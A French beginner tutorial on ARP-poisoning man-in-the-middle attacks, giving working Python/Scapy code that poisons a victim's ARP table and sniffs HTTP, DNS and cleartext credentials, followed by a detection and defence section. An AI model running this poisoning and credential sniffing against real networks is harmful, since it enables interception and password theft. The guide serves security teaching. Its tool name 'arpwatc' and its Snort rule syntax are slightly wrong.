

■■■ MITM LAB

Man-in-the-Middle — Guide Complet

Public	Étudiants cybersécurité — niveau débutant
Technique	ARP Poisoning + Sniffing
Langage	Python 3 + Scapy
Objectif	Intercepter le trafic réseau entre deux machines

■ Strictement réservé à un usage éducatif sur des machines que vous possédez. Toute utilisation non autorisée est illégale et pénalement sanctionnée.

1. Concepts fondamentaux

1.1 — Qu'est-ce qu'un MITM ?

Man-in-the-Middle signifie se placer entre deux machines qui communiquent. L'attaquant reçoit tout le trafic, peut le lire et le relayer. La victime ne se rend compte de rien.

```
NORMAL :  
Victime [REDACTED]> Routeur [REDACTED]> Internet  
  
AVEC MITM :  
Victime [REDACTED]> Attaquant [REDACTED]> Routeur [REDACTED]> Internet  
                (lit tout)
```

1.2 — ARP : le protocole vulnérable

ARP (Address Resolution Protocol) traduit une adresse IP en adresse MAC. C'est lui qu'on exploite. Sa faiblesse : il n'a aucun mécanisme d'authentification. N'importe qui peut envoyer une réponse ARP mensongère.

```
NORMAL :  
Victime : 'Qui a l IP 192.168.1.1 ?' (broadcast)  
Routeur : 'C est moi, MAC=AA:BB:CC:11:22:33'  
Victime : OK, je mémorise dans ma table ARP  
  
AVEC ARP POISON :  
Victime : 'Qui a l IP 192.168.1.1 ?'  
Attaquant: 'C est moi, MAC=11:22:33:44:55:66' <- MENSONGE  
Victime : OK, je mémorise... (elle croit l attaquant !)
```

1.3 — La table ARP

Chaque machine garde en mémoire une table ARP : la correspondance IP → MAC. On peut la voir et la manipuler facilement.

```
# Voir la table ARP de ta machine  
arp -n  
  
# Résultat :  
# 192.168.1.1    AA:BB:CC:11:22:33  (routeur)  
# 192.168.1.42  DD:EE:FF:44:55:66  (autre machine)  
  
# Après l attaque, la table victime ressemblerait à :  
# 192.168.1.1    11:22:33:44:55:66  <- MAC de l attaquant !
```

1.4 — Pourquoi activer ip_forward ?

Sans ip_forward, les paquets reçus pour une autre machine sont simplement jetés. La victime perdrait internet. On active ip_forward pour relayer les paquets et rester invisible.

```
# Activer le forwarding (relai de paquets)  
echo 1 > /proc/sys/net/ipv4/ip_forward  
  
# Désactiver en fin d attaque  
echo 0 > /proc/sys/net/ipv4/ip_forward
```

2. Installation et préparation

2.1 — Dépendances

```
# Installer Scapy
pip3 install scapy --break-system-packages

# Ou via apt
sudo apt install python3-scapy

# Installer arp-scan pour découvrir le réseau
sudo apt install arp-scan
```

2.2 — Structure du dossier

```
mitm_lab/
■■■ mitm.py          <- script principal (tout en un)
■■■ arp_poison.py    <- ARP poisoning seul
■■■ sniffer.py       <- sniffer seul
```

2.3 — Informations nécessaires avant de commencer

```
# 1. Ton interface réseau
ip a
# Chercher : eth0, wlan0, enp3s0...

# 2. L IP du routeur (passerelle)
ip route | grep default
# Exemple : default via 192.168.1.1

# 3. L IP de la machine cible (victime)
sudo arp-scan --localnet
# Liste toutes les machines du réseau avec leur IP et MAC
```

3. arp_poison.py — Expliqué ligne par ligne

3.1 — Récupérer la MAC d'une IP

```
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    # ARP(pdst=ip) : créer une requête ARP
    # pdst = protocol destination = l IP qu on cherche

    broadcast = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
    # Ether(dst='ff:ff:ff:ff:ff:ff') = envoyer à TOUT le monde
    # ff:ff:ff:ff:ff:ff = adresse MAC de broadcast

    paquet = broadcast / arp_request
    # Le / combine les couches réseau (Scapy syntax)

    reponse = scapy.srp(paquet, timeout=2, verbose=False)[0]
    # srp() = send/receive at layer 2 (couche liaison)
    # timeout=2 = attendre max 2 secondes
    # [0] = prendre les réponses reçues

    return reponse[0][1].hwsrc
    # hwsrc = hardware source = adresse MAC source
```

3.2 — Envoyer le faux paquet ARP

```
def empoisonner(ip_cible, ip_routeur):
    mac_cible = get_mac(ip_cible)

    paquet = scapy.ARP(
        op=2,          # op=2 = ARP Reply (je réponds)
                     # op=1 = ARP Request (je demande)
        pdst=ip_cible, # Envoyer À la victime
        hwdst=mac_cible, # À son adresse MAC
        psrc=ip_routeur # En se faisant passer POUR le routeur
                     # hwsrc n est pas spécifié = notre propre MAC
    )
    scapy.send(paquet, verbose=False)
    # send() envoie sans attendre de réponse
```

3.3 — Restaurer la table ARP (IMPORTANT)

```
def restaurer(ip_cible, ip_routeur):
    mac_cible = get_mac(ip_cible)
    mac_routeur = get_mac(ip_routeur)

    paquet = scapy.ARP(
        op=2,
        pdst=ip_cible,
        hwdst=mac_cible,
        psrc=ip_routeur,
        hwsrc=mac_routeur # Cette fois : la VRAIE MAC du routeur
    )
    scapy.send(paquet, count=5, verbose=False)
    # count=5 : envoyer 5 fois pour être sûr
```

■ Toujours appeler `restaurer()` en fin d'attaque. Sans ça, la victime perd internet jusqu'au prochain redémarrage.

4. sniffer.py — Intercepter le trafic

4.1 — Analyser chaque paquet

```
def analyser_paquet(paquet):

    # ■■ Détecter les requêtes HTTP ■■
    if paquet.haslayer(http.HTTPRequest):
        url = paquet[http.HTTPRequest].Host.decode() + \
            paquet[http.HTTPRequest].Path.decode()
        print(f'[HTTP] {url}')

    # Chercher des identifiants dans le corps du paquet
    if paquet.haslayer(scapy.Raw):
        corps = paquet[scapy.Raw].load.decode(errors='ignore')
        mots_cles = ['user', 'pass', 'login', 'email',
                     'username', 'password', 'pwd']
        if any(mot in corps.lower() for mot in mots_cles):
            print(f'[!!!] CREDENTIALS : {corps}')

    # ■■ Voir les sites DNS visités ■■
    if paquet.haslayer(scapy.DNSQR):
        domaine = paquet[scapy.DNSQR].qname.decode()
        print(f'[DNS] {domaine}')
```

4.2 — Lancer le sniffer

```
scapy.sniff(
    iface='eth0',          # Interface réseau à écouter
    store=False,           # Ne pas stocker en RAM (évite les fuites mémoire)
    prn=analyser_paquet    # Fonction appelée pour chaque paquet reçu
)
# sniff() bloque jusqu'au Ctrl+C
```

■ Le sniffer capture UNIQUEMENT le trafic HTTP (non chiffré). Le HTTPS est chiffré et illisible sans SSL Stripping.

Erreur	Cause	Solution
PermissionError	Pas de sudo	sudo python3 mitm.py ...
Pas de réponse ARP	IP incorrecte	Vérifier avec arp-scan --localnet

Victime perd internet	ip_forward désactivé	Le script l'active automatiquement
Rien capturé	Site en HTTPS	Tester avec un site HTTP uniquement
Interface introuvable	Mauvais nom interface	Vérifier avec ip a

6. Détection et défense — Blue Team

6.1 — Détecter un ARP Poison

```
# Méthode 1 : Vérifier la table ARP manuellement
arp -n
# Signal d'alerte : deux IPs différentes avec la même MAC
# Ex:
# 192.168.1.1    11:22:33:44:55:66  <- routeur
# 192.168.1.100 11:22:33:44:55:66  <- même MAC ! = attaque MITM

# Méthode 2 : Outil automatique
sudo apt install arpwatc
sudo arpwatc -i eth0
# Arpwatc surveille les changements ARP et alerte
```

6.2 — Se protéger contre le MITM

Mesure	Description	Efficacité
ARP statique	Entrer manuellement l'IP/MAC du routeur	Très élevée (mais contraignante)
HTTPS partout	Chiffre le trafic même si intercepté	Élevée pour confidentialité
VPN	Tout le trafic est chiffré bout en bout	Très élevée
Arpwatc	Surveille les changements de table ARP	Élevée pour la détection
802.1X	Authentification réseau par certificat	Très élevée (entreprise)

6.3 — ARP statique (meilleure protection)

```
# Ajouter une entrée ARP statique (ne peut pas être écrasée)
sudo arp -s 192.168.1.1 AA:BB:CC:11:22:33
# AA:BB:CC:11:22:33 = vraie MAC du routeur

# Vérifier
arp -n
# La ligne aura le flag 'PERMANENT'

# Supprimer l'entrée statique
sudo arp -d 192.168.1.1
```

6.4 — Wireshark : détecter le poison

```
# Filtre Wireshark pour détecter ARP suspect :
arp.duplicate-address-detected

# Ou chercher des réponses ARP non sollicitées :
arp.opcode == 2 && !arp.isgratuitous

# Règle Snort/Suricata :
alert arp any any -> any any (
  msg:'ARP Spoofing détecté';
  arp.opcode == 2;
  sid:1000010; rev:1;
);
```

6.5 — Résumé : attaque vs défense

Action attaquant	Ce que voit le défenseur	Comment bloquer
ARP Reply falsifié	Deux IPs avec même MAC	Arpwatc, ARP statique

Sniffing HTTP	Trafic non chiffré intercepté	HTTPS, VPN
DNS visible	Domaines visités exposés	DNS over HTTPS (DoH)
ip_forward actif	Latence légèrement augmentée	IDS/IPS réseau

■ La meilleure protection reste le HTTPS. Un attaquant MITM qui intercepte du trafic HTTPS ne voit que des données chiffrées inutilisables sans la clé privée du serveur.